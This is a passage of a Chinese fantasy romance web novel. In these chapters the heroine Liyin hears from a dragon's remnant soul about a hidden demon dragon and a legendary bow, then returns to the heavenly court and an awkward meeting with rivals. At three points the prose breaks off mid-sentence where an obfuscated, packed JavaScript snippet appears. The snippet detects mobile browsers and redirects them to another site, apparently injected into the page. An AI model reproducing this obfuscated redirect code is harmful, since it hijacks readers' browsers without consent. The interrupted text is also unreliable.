可不就是玉雕似的,还是用货真价实的昆仑山白玉雕出来的。 璃音初上昆仑,人生地不熟,但礼貌总还是懂的,也看得懂其实刚才大家都不是很想要她,是这位仙女姐姐站出来,替自己解了围,才让气氛不至于太过尴尬,当下就从被揉变了形的嘴巴里,又乖又轻地喊了她一声:“师父”。 巫真拍拍她瓷白的小脸,嗔道:“什么师父,把我都叫老了,我也不是男的,才不要当谁的老父亲,你以后不准叫我师父,就叫我师姐,听到了吗?” 想了想,又道:“不,不能只叫师姐,你得连着名字一起,叫我巫真师姐,叫给每个人听,以后你出息了,谁都知道你是巫真师姐调教出来的,嘿嘿,到时候,就叫刚才那九个背上骨头痒的后悔去吧!” 这位师姐真是可爱啊,璃音这么想着,乖巧点头:“听到了,巫真师姐。” 而这时在小墨龙的识海中,巫真师姐并不在列,六位神巫围着猰貐快要咽气的龙身,巫彭捏开龙嘴,正要把不死药往里面喂进去。 巫履站在一边,手里一直捧着一个玉葫芦,眉头拧得死紧,一脸欲言又止、踌躇不安的样子,这时见不死药就要入了龙口,终于忍不住出声打断道:“巫彭大人,这装药的玉盏近日颇有异样,恐有不妥,我看还是禀明西王母,肯请娘娘另赐丹药为好。” 说着神龙突然喷出一大口血来,全喷在那玉葫芦上面,然后龙头一歪,就断了气。 其余五位神巫:“……” 巫履见自己一句话竟把神龙最后一口气给耗没了,那是一个字也不敢再多说,当下只好闭了嘴,看着巫彭将不死药喂入了神龙口中。 识海中的记忆就此中断。 再往后,猰貐已是性情大变,昔日神龙变作魔龙,整日里红着眼睛,饮血吃人,吞骨嚼肉。 璃音收回探魂的手。 她此刻的眼底仍染着红,眸色却如万丈冰崖下的寒潭一般幽深。 她方才一眼就认出来了,巫履手里一直捧着的玉葫芦,也就是他口中那只“近日颇有异样的装药的玉盏”,就是她手中这一只正闪着荧绿幽光的玉横。 “你不是怕它,而是恨它。”璃音将奄奄一息的小墨龙托进掌心,“因为是它害你变成这样的,对吗?” 恐怕是当时的玉横就已沾染了魔性,魔气侵染了盛装在里面的不死药,又被喂入神龙体内,这才叫昔日“圣手佛心”大开杀戒,堕入魔障。 玉横心虚地暗下周身灵光,就一腾一挪地,悄悄要往璃音腰间躲。 它确实曾“放荡”过一段日子。 但它那时灵智初开,就如初生婴儿,什么也不懂,全凭本能行事,饿了自然要找东西吃,它觉得生魂美味,就吞了来嚼,也没人来告诉它这有什么不对。 因为那时的昆仑山上,谁也不知道它竟悄没声响地就通了灵,待神巫们有所察觉,它早已吞吃生魂无数,成了彻彻底底的一块魔玉了。 它受不死药浸润了千千万万年,不死不灭,刀削不动,斧凿不破,便是真被切金断玉的神兵利刃拦腰斩断,只消两半葫芦一合,立时完好,就和从没碎过一样。 整个天宫谁也拿它没办法,到后来甚至谁也不敢靠近它,唯有寄希望于有一天这魔玉自己能良心发现,或是吃魂吃腻了,终于戒掉这邪性恶习,改邪归正。 但这些都是几百年前的旧账了,猰貐神龙也不过是万千被“婴儿”时期玉横祸害的受害者之一,如今玉横自觉早已洗心革面,想想这每天过的日子,主人吃鱼,它却吃“素”!除非主人有难,否则遇着再美味的魂儿,也只是留着口水偷偷嗅上一嗅,简直乖得不能再乖。 宛如换骨新生。 人间都说“前朝剑不斩本朝官”,它就觉得前世旧怨也不好斩今世新玉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小墨龙跳上璃音头顶,用那一点点大的小龙爪去揪弄她的龙角,脸上渐渐浮现出混杂着慈爱、满足和诡异的笑来:“好好好,不愧是我的好女儿,这等威风的角,和你爹我长得一模一样!哈哈,哈哈哈哈!” 璃音一呆之后又是一呆。 ……不是,就算玉横造她身子的时候,借用了他一口龙血,怎么就成了他女儿了?这亲缘关系不是能这么论的吧? 小墨龙又顺着她鬓边一缕碎发飞下,探头探脑凑去她耳边,生怕别人听去了似的,用只有她能听到的小小声说道:“去找到落日神弓,和你失踪的哥哥,光复我们龙族,就全系于你一人了。” 说着小小的龙爪在璃音肩头沉重地拍了拍,以示重托。 璃音呆了又呆:“……啊?” 那种莫名奇妙飞升成仙、莫名其妙成了人人喊打的恶人、莫名其妙重生、莫名其妙被西王母拉去教化摇光神君……总之各种莫名其妙的感觉,这会儿都一齐涌上来了,她呆了半晌,才终于理出一点头绪,问道:“那咱们找落日神弓是为了……?” 小墨龙第一次说要她去找落日神弓时,她原以为是用来射杀它这个魔龙残魂的,但此时听它话里意思,分明是把外面的一切都托付给了她,而它此生都不打算再出画了。 “你不知道么?”小墨龙飞离她耳边,眼神和声音一起冷了下来,“这世间,除我之外,还一直藏着另一条魔龙。” 44. 第43章 投名状 这世间还藏着另一条魔龙。 这话如果是璃音在前世听到的,她会以为这另一条魔龙指的就是她自己。 可现在是人间的庆宁二十三年,她虽已显了龙化之症,但尚未杀人拆骨,除了摇光神君和虞家一对姐弟,也从未有人见过她这副红眼龙角的样子。 眼前浮现那时虞宛言调转长剑,对她满脸警戒的模样,璃音眸底的血色黯了黯。 她很害怕他的那种眼神。 这份害怕,不是有些人见到毒蛛硕鼠时尖叫的那种害怕,而是坠崖之人本就只是虚虚攥着手中最后一根吊命的藤蔓,那根藤蔓上却忽然生出锐利的尖刺,深深扎进掌心里的那种害怕。 害怕到仿佛只需那一眼,就能消弭掉她所有看云看山看萤火时,偷偷对这世间生出的那一点点“再多活一活也很不错啊”的贪恋。 小墨龙看璃音眼神飘忽地走着神,不满地探出两只小小的前爪,在她耳边用力拍了两拍:“这孩子,怎么回事,长辈正和你说大事呢,回神回神!” “您讲,您讲。”璃音忙做洗耳恭听状。 其实她对什么光复龙族、统御万龙,是一点兴趣也没有的,但画外竟还藏着一条嗜血魔龙,而她,甚至整个天宫,竟从未有谁听说过,总让她觉得有些不可思议,怀疑是这个老龙编出来诓她出画的。 “那东西恐怕和我一样,也有不死不灭之身。”小龙说着顿了顿,面色凝重起来,“而它和我不一样的是,我是受了那魔玉葫芦残害,被迫吸染了魔性,才会变得神思狂乱,不得不饮血吃人……” 玉横听自己的劣迹又一次被翻了出来,忙在璃音腰间蹭了蹭,向主人表示自己现在是个乖宝宝。 璃音摸摸它的葫芦脑袋,给它顺了顺并不存在的毛。 “它现在倒是会装乖。”小龙见状哼了一声,语气里说不清还有几分恨,但很确定带了几分莫名的心酸的满足,“我虽败给了它,它却认你为主,何尝不是我赢了,哈哈,是我赢了,是我的神龙血脉赢了!” 看小龙眼底闪着自己看不太懂的诡异又偏执的碎光,璃音偏了偏头,心想:自己“继承”它的神龙血脉,也是在玉横认主之后,为她重塑肉身时候的事了,要说赢了,不如说是她凡人身死时,随身带着的那大一把绿豆赢了。 “神尊,有点跑题了。”她小声提醒,努力拉回话题:“您方才说,它和您不一样,那它不是受魔气侵扰,难道是天生的魔龙?” 小墨龙摇头:“这世间有没有天生的魔龙,我不知道,但眼下藏在暗处的那条,绝对不是什么天生的魔龙。” “您知道它是谁?”璃音连忙追问。 “我在差不多五年前,与它打过一次照面,龙族凋零已久,只余下我青龙一脉,我却并不记得族中有过这样一位后辈。” 说着,小墨龙身上的线条变换,变出一条与之前有七八分相似的小龙来。 “喏,它就长这样。” 璃音左看右看,只觉得眼生。 龙族确实凋零已久,据她所知,九百年前,九重天上曾爆发过一场神魔大战,恰逢摇光历劫下界,战场上少了最骁勇能战的前锋,于是那一战打得格外艰难惨烈,龙族合族都上了战场,死伤惨重,除青龙一脉,尽皆战死。 神魔大战不止爆发过这一次,但就只有这一次,是璃音了解得格外清楚的。 惨烈是一方面,不光龙族,天宫各部都是伤亡惨重,就连商止师兄的腿疾,也是在那一场大战中落下的。 想到此处,璃音不禁在心中自嘲:她身边都是大英雄,除了她自己。 但此战令人难忘就难忘在,那位魔尊的出身实在是奇特,由于过于奇特,所以璃音记得格外清楚:谁能想到,那魔尊并不是什么灾星降世、天降魔头,也没有什么能一剑斩天神的惊人修为,他竟只是幽冥司一个普普通通、每日兢兢业业誊录冥牒的小文吏。 彼时人间小国分裂,彼此间战乱不休,打了几百年也没等到哪位枭雄,打出个天下一统。 地面上一打仗,地下的阴官就有的忙了。 那小文吏每日誊抄整理堆成小山的死人簿子,笔头都写呲了不知几万支,他抄了几百年,每天只睡一个时辰,抄得眼底下一片乌青,时常抄得怨气比黑白无常勾回来的鬼还深。 终于有一天,在手中笔头又一次开始劈叉的时候,他忽觉眼前一黑,晕了过去。 他差点就猝死在了桌前,差点就也成了桌上那些堆成小山的冥牒中,毫不起眼的一小行名字。 于是这位天天都在鬼门关里勤恳任职的小鬼吏,在自己的魂魄也去鬼门关兜了一圈之后,他躺在床板上,顶着两个乌青的黑眼圈,悟了:世上本无事,瞎忙自扰之,只要肯偷懒,天天躺床板。 那些个劳什子的勾魂名单,我每天就胡乱抄两个应付应付,不就得了?于是把被子一拉,呼呼大睡去了。 就这么敷敷衍衍过了几十年,小文吏每日睡得饱饱,把自己养得精神焕发,却不想一日,一只本该在十年前就被勾走的阴鬼,不知在哪间庙里偷喝多了祭酒,竟一路迷迷瞪瞪,吹着小风,哼着歌儿,晃着醉步,晃在阴山道上,迎面一头就撞在了黑无常的哭丧棒上。 黑无常黑着脸把那阴鬼勾回,一审问,那醉鬼竟还有几百个阴鬼弟兄,都是打仗时被同一个大炮弹炸死的,每月初二都要聚在一起饮酒作乐,他睁着朦胧醉眼,见弟兄们都没被抓来,就自己一个被关了,登时心里不平衡,噼里啪啦报出一连串的大名,把好兄弟们一个不漏全供了出来。 阎王震怒,下令彻查, 小文吏眼看着东窗事发,阎王很快就要查到自己身上,哆哆嗦嗦,心想这偷出去的懒,就犹如泼出去的水,这时再要补救遮掩,已是覆水难收了。 横竖都是一个死,砍头也比累死强,小文吏怨气上头,就地入魔,于是牙一咬,心一横,就比对着那些本该入牒却被他放过的名字,一个个上门敲打:“要么勾魂等死,要么跟我造反!” 被他放过的阴鬼多是死于战事压迫,心里本就埋着血性不甘,这时一经挑唆,立刻跟着他大干特干了起来。 他就领着这样一支阴鬼大军,打翻冥府,打上九重天,真的造反了。 最后还是摇光历劫归位,一剑斩落了那位魔尊的脑袋,才算平息了这场祸事。 但这也推进了天宫和幽冥司里的一场大变革,规定在任神官,无论品阶,每日任职时间不得超过四个时辰,每月要有固定休沐的日子,关爱各位神官的魂体康健。 那位魔尊,虽死犹荣,也算得上是一代传奇了。 战事了结到如今,九百年过去,天宫安稳,世间再没有出过魔尊,只是龙族再难复往昔,那一战之后仅剩的几条青龙,都只是终年蛰伏在海底,鲜少现世了。 莫不是其中一条在海底这么多年睡迷糊了,出来梦游? 毕竟现在清平世界,久无魔乱,昆仑之祸,尚在一年之后,前世,直到那些恶灵突发暴乱之前,都从未有谁在下界作出大恶,被天宫察觉。 璃音忽然想到什么,向小墨龙道:“五年前,您就是在龙溪村和它打的照面么?” “不错。”小墨龙点头,“它走后,村里葬了好多年的骨头就渐渐地都被人挖起来了。” 璃音在心里轻轻“啊”了一声,她想起了那个给书怨们塞小纸条的神秘人。 只听小墨龙又道:“那几年村中流行起来一种书画小册,尤其一个姓廉的秀才画的,催生出了一堆书怨墨灵,搞得村子里怨气冲天的,它想必是嗅到了怨气,过来吞吃了几个出逃的墨灵。” “吞吃?” “没错,我那时正好附身在楚雁儿书房里的一幅画上,看它一口气吞了五六个,我用龙啸压了它一下,许是感应到了我,它没敢再多吃,又带走两个,而且我看它从来到走,都神智清醒,毫无被魔气裹挟的症状。” 璃音讶然。 按山桃先前所说,那位神秘人在她苦于无法脱书报恩之时,夹入纸条,教她附骨化形之法,又在她与楚雁儿受困时,飞镖留笺,喊姐妹们前去解救,虽身份成谜,且意图不明,但每一次留字,都似乎是在暗中相帮。 而这条魔龙,闻着怨气而来,来村里一次,又连吃带拿,劫掠吞食数只怨魂,完全不符合那位神秘人的做派。 璃音琢磨着小墨龙说的话,总觉得哪哪都对不上,也哪哪都不对劲,问道:“它既然神智清醒,并未被魔气裹挟,您怎么就说它是魔龙呢?” 小墨龙一甩尾巴,把墨线甩回自己原本的样子,说道:“我说了,它神智清醒,毫无被魔气裹挟的症状。” “是啊,它神智清醒,毫无……”璃音顿了顿,终于察觉出了不对,“您的意思是,它不是被魔气裹挟的,难道它在主动摄入魔气?” 吞食生魂,大多是为了以他人之魂,养己之魄,此法凶险,却可以迅速提升修为。 听说人间各大修仙的宗门里面,每隔个几十年,就总会冒出一两个这样铤而走险的弟子,毕竟修仙之途漫漫,总有人熬不过,就想要闯一闯捷径。 但生魂吃多了,会催生魔气,渐而成瘾,吃的人就算一开始不是魔头,长期吞食下去,很可能在成仙之前,就先堕入魔道,或是遭魔气反噬,暴毙而亡了。 不过这都是那些修炼无成,坠了心魔的人才会做的事情罢了。 龙族生来就是神族,现在更是越稀有越宝贵,加上九百年前战场上的那些功绩,神龙一族在九重天上虽不露面,却名望地位极高,要什么天材地宝没有,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726037|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不必靠炼魂来飞升或是提高修为,而且族里一共都没剩几根苗了,对这种阴损缺德,又可能损害自身性命和本族声望的修习之法,只会是唯恐避之不及。 那么这条主动吞食生魂的龙,究竟是在做什么? 璃音越想越觉得奇怪:“放着众仙捧月般的神仙不做,难道它想要入魔?” 小墨龙的一只小爪抚上龙须,若有所思道:“说起来,它那时吃魂的神情,也有点古怪。” “什么古怪?” “那种古怪,很难说清楚……”小墨龙沉吟半晌,似乎在努力斟酌着措辞,“它捉起那些怨灵的时候,看起来对它们好像很渴望,但看它吃在嘴里的样子,却又好像并不是很想吃……也不能说是不想吃吧,哎呀,总之那种感觉说不清,说不清……看着既兴奋,又不兴奋的,很难讲。” 这一顿描述把璃音也给说糊涂了,她想象不出,一张脸上是如何能同时表现出既想吃又不想吃,既兴奋又不兴奋的? 小墨龙却还没有放弃寻找新的形容,誓要把那神情给璃音描画清楚似的:“它吃那些魂儿的时候,就好像不是在喂给它自己吃,而是在喂给身体里的什么东西吃,那个东西吃兴奋了,它就跟着兴奋,却不是因为它自己吃了魂而兴奋……” 璃音好像有点听明白了:“就像父母看着孩子吃了两大碗饭的那种兴奋?” “有那么一点对了,但还差一点……不像是父母对孩子……而是像……而是像……” 小墨龙抚弄着龙须,抚着抚着,突然来了感觉,两个爪子一拍,道:“就像在给谁递入魔的投名状!” 投名状? 入魔可不像成神那么困难重重,条件向来宽松,几乎是拿起屠刀,就可以立地成魔,想入随时就入了,从没听说过入魔还要向什么人递投名状的。 比起投名状,璃音倒觉得,它更像是在体内偷偷饲养了一个“宠物魔”,就像…… 璃音看向腰间的白玉葫芦,就像她饲养着玉横一样! 玉横需用魂魄温养,虽然现在收敛了脾性,不再肆意食人魂魄,但它毕竟是“开过荤”的,时不时就会向她撒娇,讨要一些零嘴,有时她就会去幽冥司,向阎王讨要一些罪恶滔天,永无轮回的恶魂,拿来投喂给它。 只听小墨龙肃声道:“总之,无论如何,它肯定是在靠吞食怨灵催生魔气,而且我瞧得出它的不死不灭之身,不论它眼下是不是魔,不出几年,必然会有一条魔龙现世,趁它现在未成气候,你赶紧出去,找到落日神弓,待魔龙来日作恶,你务必要用此弓将它射杀,断不可叫它毁了我龙族威名。” “可是当年后羿神君陨落,落日神弓就追随主人,自封灵魄,沉归海底了,如今茫茫海域,要去哪里寻它?”璃音有些为难地蹙了蹙眉,“而且就算当真被我寻到,像它这等忠心认主的神器,我也用不了啊……” 神器一旦认主,就只有主人可以使用,甚至脾气倔一点的,比如她这倒霉葫芦,明明能助人重塑肉身,有治伤疗愈的奇效,不知能造福多少人,但这通天的能耐,它偏偏就是只肯用在她一个人的身上,旁的人是生是死,它是一点也不关心。 有一次商月受了重伤,她千求万求,举手之劳的事,它却心硬到底,无论如何不肯相救,激得她倔劲上来,拿了商月的浮光剑,一剑一剑划自己的胳膊。 她每划一道口子,玉横就给她治一道口子,她虽然不会死,但是会痛,她耐性好得很,玉横不救,她就一直划,划得自己痛得晕过去,醒过来,继续划,玉横终于熬她不过,才妥协治了商月一次。 想到这里,璃音声音里带着些哑,问道:“就非得是落日神弓吗?” “必须是落日神弓。”小墨龙面容沉肃,认真地看入璃音的眼底,“你记住,唯有落日神弓,可以诛杀这世间一切不死不灭之物。” 璃音心中一动:那么只要能拉动此弓,就也能诛灭掉前世那个她怎么杀也杀不死的鬼王了。 小墨龙却突然飞身而起,随意找了一块滚落在脚边的巨大山石附身而上,它的声音从璃音背后传来,莫名显得渺远:“小仙子,别忘了,出画后,去东海找你的哥哥,叫他陪你一起去拿落日神弓,若有困难,就去紫宫叫上摇光那小子,他可欠着我们龙族一个大人情呢!” 璃音惊诧回头。 见石龙仰头向天,对着漫天星辰,发出一阵朗笑:“你以为这副画,是谁送给他的?” 只听它大喝一声:“斗指东北,维为立春!” 接着一个巨大的石爪探出,往璃音背上轻轻一推,璃音身子向前一倾,顿觉脚下一空,整个人就向下急坠而去。 璃音一边下坠,一边想要扶额:神君,虞姐姐,还有虞宛言,你们这是把万壑千山图挂悬崖边上了吗? 45. 第44章 脸着地 这出画后的一坠来得猝不及防,璃音手指微动,就要叩亮“宙”铃,却不想这画原来并没有被挂在万丈悬崖边上,离地堪堪仅有三尺。 她坠得极快,根本来不及再催动什么传送铃铛,就已经啪的一声,玉白的小脸着地,整个人掉趴在了一片泥地里面。 璃音小脸埋在土里,十根手指无语到有些无力地默默蜷起,在地上抠出两道泥印。 “老师?” 耳边传来一道飒沓清风般的声线,里面似乎还憋藏着几分笑意。 一抬头,就看到一身冷蓝色的绣袍,和一只向她探来的指节修长的手。 摇光将她从地上拉了起来,嘴里还说着:“怎么这么不小心。” 璃音起身往四下里一望,总算知道万壑千山图是被挂在哪儿了。 她扭头,一双眼睛越睁越大,缓缓抬手,指向旁边一株格外高大的月桂巨树:“神君,这画是您挂上去的?” “是啊。”摇光顺着她的手指,看向被自己高高挂在树杈子上的那副万壑千山图,丝毫不作否认地点头,“老师龙化之症发作的时候,不是很喜欢躺在这里么?” 这么说,倒还是为她身体着想的一片拳拳孝心了? 璃音闭了闭眼,拳头捏了又松,用力挤出一个和善的笑来:“多谢神君费心,下次大可不必。” 摇光将画拿下,回头看她:“你不高兴了?” “没有啊。”璃音自顾低头拍着身上的土,“神君如此为我着想,我干嘛要不高兴。” 莫名其妙摔了个脸着地、狗啃泥,她当然不高兴了! 但他记得月桂花香可镇她龙化发作时带来的剧痛,还记得把她带回摇光殿中,以免外人看到她发作时可怖的样子,她又没那么不高兴了。 但总体而言,她还是有那么一点点不太高兴的,虽然只有一点点。 璃音抬手摸了摸额头,果然离了神龙残魂,体内沸腾的血液和额上的龙角就都消散下去了,看来这一次龙化并不是心魔发作,而只是受了神龙血脉的感应。 那只有一点点的不高兴也很快就烟消云散了,她把脸往摇光眼前凑了凑,拉拉他的袍袖,仰起头,把一双琉璃珠子般的眼睛睁得圆圆的,示意他来看:“小七,你帮我看看,还红着么?” 摇光闻言一顿,不知何时微微蹙起的眉心一下子舒展开来,一双桃花眼眨了眨,鸦黑的睫毛随之一颤,漆黑的瞳仁就静静地望进了璃音眼底。 他默默垂眸,与她对望了好半晌,璃音为了让他看得清楚一些,眼睛一眨也不眨,时间久了,渐渐泛起一层濛濛的水雾,把眸子映得水灵灵的,她见摇光看了半天,却不说话,又去拉他的袖子催促:“怎么了,是还没褪么?” “不红了。”摇光睫羽微颤,收回视线,“但是有点黑。” 璃音一呆,黑? 接着一只携着袖袍的手就轻轻触上了她的面颊,柔软的布料摩着她的小脸擦过,干净的袖口立马沾上了几个泥点子。 璃音脸上一红,知道是自己面上沾了黑泥,慌忙伸手就往脸上胡乱抹了几把,那脸上本来只有几个泥点,被她这一通胡抹,竟全给抹开了摊在脸上,越摊越大,越抹越黑。 摇光看着璃音一张被手忙脚乱抹成小花猫,却浑不自知的小脸,看了半晌,唇角微不可见地扬了起来:“老师这是在脸上画猫么?” 就轻轻拨开她乱动的手,重新拉了袖口替她擦拭起来。 璃音只觉得浑身发热,尤其是面皮,烫得尤为厉害,她有些心慌,喉咙也有点干,肯定是体内的龙化之症没有清除完全! 但她却全然没有发觉,她和摇光,似乎都完全忘记了净体咒的存在。 “璃音仙子?” 璃音本就被摇光的袖口惹得脸热心慌,这时忽然听见背后一个熟悉的声音唤她的名字,又听着明显不止一个人来的脚步声,明明没有做贼,却没来由地一阵心虚,一个闪身,就躲去了摇光身后。 摇光看清来人,眉心稍向下压,嗓音里带着几分被打搅的不悦:“锦云仙子……还有这位仙君,何事到访。” 被摇光称呼为“这位仙君”的商月无声地捏了捏指骨。 璃音下山这几日,他向司命借过好几次窥尘镜,他每次看到这两个身影站在一起,就莫名烦躁,看了一会儿,就翻过镜子盖在桌上,但隔了一会儿,却又忍不住拿起镜子再看。 而这位神君方才在做什么,又是用怎样的目光看着他的阿横,他都瞧得一清二楚。 这算什么。 阿横是因为他,才对自己说出了那样拒绝的话么。 他不知道他们是不是早就相识了。 他只知道,如果是那样,只会显得他这几年对阿横小心翼翼的追逐,更加像个笑话。 锦云见摇光神色不善,心知这位神君的脾气可不是好惹的,忙躬身拜礼,解释来意:“我们适才听到神君殿中有些动静,只当神君与璃音仙子赴旨下届,尚未归来,恐怕殿中出了什么意外,故而和商月仙君前来探望,不想神君已经归府,小仙冒昧闯入,还望神君和仙子勿要见怪。” 果然是锦云和商月来了! 璃音躲在摇光身后,听着他们这番对答,想着刚才究竟是什么动静把他们给惊动了,该不会就是她脸朝下、砰地砸在泥地里的那一声响吧? 璃音默默瞪视着眼前摇光挺拔的背脊。 都怪身前这人,没事把画挂树杈子上干嘛! 摇光听完锦云的说辞,冷淡的眸光似剑,向着两位不速之客扫去,毫不客气地下了逐客令:“既然无事,你们现在可以走了。” 锦云暗暗在心里松了口气,至少这位神君说的是“可以走了”,而不是“可以滚了”,说明他现在的心情还不算太差,忙再次躬身行礼:“神君万安,小仙这便告辞,不再叨扰了。” 说着拉一拉商月,示意他赶紧跟着她一起离开。 商月指捏成拳,却没有跟着动作。 他自从踏进这方小院,就没有说过一句话,只是视线一直死死锁着摇光,仿佛要穿透他的身子,直盯去他身后躲着的那个人身上。 阿横,你如今连看都不愿意看我一眼了么? 璃音此刻躲在摇光清俊的背影里面,却正在掰着指头,算着和锦云仙子的相遇:她前世今生加起来,一共只和锦云仙子见过四次,每次出现在她面前的形象都十分要命,不是面无人色、脖子上染着两个血手印,就是灰头土脸、浑身沾满了泥点子。 算到此处,她不禁要捶胸顿足,自觉在锦云仙子面前已经毫无形象可言了,顿时大为泄气,瞪着眼前这一堵宽厚的背墙,就生无可恋地默默把脑袋往上一撞。 摇光感到背上一颗圆溜溜的小脑袋抵了上来,剑眉微扬,眸子里的不善散去几分,忽然开口,把正要抬脚转身的锦云叫住:“二位既然来了,不如留下陪我赏一幅画。” 说着抬手轻挥,衣袖带起一阵凉风,就将万壑千山图迎风展了开来。 “赏画?” 锦云脚步一顿,眼皮跟着一跳:这位神君什么时候有这样的好脾气了?还邀人赏画,这画不会是藏着什么酷刑的恶作剧吧。 但神君相邀,她也只好硬着头皮迎了上去。 锦云小心往那画上瞧了几眼,就见一片山石崩坏,有一整座大山都被铲为平地,显是才经历过一场大战,里面困了一条石龙,正闭着眼蜷在地上,奄奄一息。 “万壑千山图?”锦云眼睛亮了亮,她从商月处听说璃音奉旨下山,去到了一处龙骨山脉,想她在那里必有一番际遇,于是看向摇光身后,“璃音仙子,这龙是被你困在画中的?” 璃音这时才从摇光背后探了探头,面上微赧:“是我。” “仙子果然厉害。”锦云发出一声钦叹,“难怪娘娘总说,你当得昆仑第一仙的。” 璃音这下彻底从摇光背后挪了出来,正要摆手说两句“哪里哪里”的话,就见商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729942|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月脸色微变,嘴唇动了动,但最终什么也没有说,却是锦云上前一步,拉住她道:“璃音仙子,你受伤了?” 璃音低头一看,原来是左肩上被石龙戳出的一个血口子尚未愈合。 “神君就让阿横独自斗那恶龙,不曾护好她么?” 商月将视线重新落回摇光身上,清润的声线里带着点久未开口的哑。 这话里的挑衅意味极浓。 竟是在暗暗指责和讥讽摇光神君空有威名,却护不好一个小姑娘。 锦云神色复杂地望了他一眼。 而璃音却是呆住了,她不明白,龙是她自己要求单打独斗的,伤也是她自己甘愿受的,打架嘛,哪有不受伤的,和小七有什么关系? 院中的气氛一下子仿佛凝滞。 商月静静凝视着那位生来便高高在上的神君,眼里没有半分退让。 然而摇光却根本没有向他看去一眼,只眸似淬冰,冷冷瞥去了璃音腰间。 玉横只觉一股寒意突袭,莫名惊得它浑身一颤,它这才后知后觉地意识到,自己在画中只顾着逗龙玩闹,竟疏忽了主人肩头的伤!当即抖抖抖地飞身起来,青碧莹光疾闪,不过眨眼,血肉愈合,璃音肩上原本狰狞的血洞立时消失,仿佛从未伤过一般。 “以后这样危险的事,你不要自己一个人去。”商月这话是说与璃音听的,眼神却兀自盯在摇光脸上,“你可以不要我陪,那也至少找一个愿意陪着你的人。” 摇光此时终于向商月抬了抬眼皮,眸色幽深,好似一汪见不到底的寒潭。 周身氛围莫名有些剑拔弩张,锦云眼神往三人脸上扫了一圈,忽然眼底亮了亮,带着一脸璃音看不懂的表情,悄悄向后退了一步。 璃音向左看看,看摇光脸色似乎不大好,又向右看看,商月的脸色更加不好。 她自从那晚在苍梧林中,成功地堵回了商月这一世还未说出口的告白,就有点不敢见他,或者应该说,在她上一世逃出月牢,在浮霁殿中听到了那些关于自己的不堪真相后,她就已经不敢见他了。 但她素来知晓商月的性子,前世就为着她受伤这种小事,不知闹过多少次别扭,这别扭不是和她闹,却是和他自己闹,他会痛恨自己没有保护好她,就恹恹地不肯和她说话,总要璃音追着他发誓,保证自己以后再也不去那么危险的地方了,哄上好几天,才哄得好。 璃音只当这一世堵回了他的告白,这保护欲过盛的症状自然也该散了,谁知这病症竟还有新变种,他这次倒是不责怪自己了,而是把小七给责怪上了! 幸而前世她哄他也哄惯了,很是知道这病症该怎么治,忙几步走去他跟前,小声道:“不过是一点小伤,我有玉横护体,又不会真的有事。” 商月看她向着自己走来,面色稍霁:“你以后少去那么危险的地方。” 说着瞥一眼摇光,望着他深如寒渊的一双眼眸,声音里溢出一丝不易察觉的、得意的冒犯:“就算有神君相陪,也不可大意,人家也未必就能时时刻刻护着你的。” 璃音听了,在心里默默吐槽:他岂止是没有护着我,他还送我一个大马趴呢! 但想到这里,却又不禁有些想笑。 她也真的就轻轻笑出声来了,前世说得滚瓜烂熟的那些违心的保证与誓言,也都消散在了这一声轻笑里面。 “商月,你说商止师兄在上战场之前,为什么没人因为担忧他受伤,就对他说,那里危险,你不要去。又为什么在他受伤之后,大家也只是夸他的英勇,却从来没人对他说,战场危险,你当初就不该去,而且以后都不要再去了呢?” 商月显然没料到她会突然说出这么一段话来,也从没想过她说的这个问题,不禁眸色凝滞,微微一怔。 锦云和摇光也都转过了头看她。 璃音慢慢将万壑千山图卷起,收回乾坤袋中,然后转头向商月笑了笑:“我知道你关心我,但是下次,一句注意安全就够啦。” 46. 第45章 大考报名 璃音本意只是想告诉商月,她也有属于她自己的战场,上场时她或许会害怕,会疲累,会受伤,回家后她也会想要有一个避风港,但她绝不会心安理得地躲在谁的羽翼之下,当一个正面迎敌都不敢的逃兵。 但话一出口,她瞧见隐在树影之中的锦云,立马就后悔了。 毕竟这位锦云仙子才是最后和商月修成正果的正缘,在人家未来的妻子面前,说什么“我知道你关心我”,还说什么“下次”的话,日后人家夫妻两个蜜里调油时提起,要么变成埋在暗处、随时准备引爆的大雷,要么就要变成一个自作多情、惹人捧腹的大笑话。 她身子硬,浑身皮都厚,就是脸皮薄,这么一想,登时脸上就有点发热。 而且她前世竟从没察觉,商月和锦云仙子,他们两个原来一直走得这样近,似乎经常呆在一起,上次在瑶池宴上,他们好像也是一起出现的。 她正好想要岔开话题,于是脱口问道:“锦云仙子,你们怎么会在附近的?” 无论是月宫还是织女宫,离这里都不是一般的远,就是十个她排着队从树上往下砸,他们也绝无可能听得到一丁点动静。 锦云整个人仍旧隐在月桂树影之下,说话时叫人瞧不清她的表情:“我们就在隔壁文昌帝君府上,帝君归位,大家正在给他办接风宴呢。” “文昌帝君?他不是……” 他不是应该在揽华公主床上……不是,在皇城之中,陪着楚雁儿讨公道、告御状呢么?这么快就回来了? 璃音顿了顿,还是换了个问法:“帝君已经回府了?” 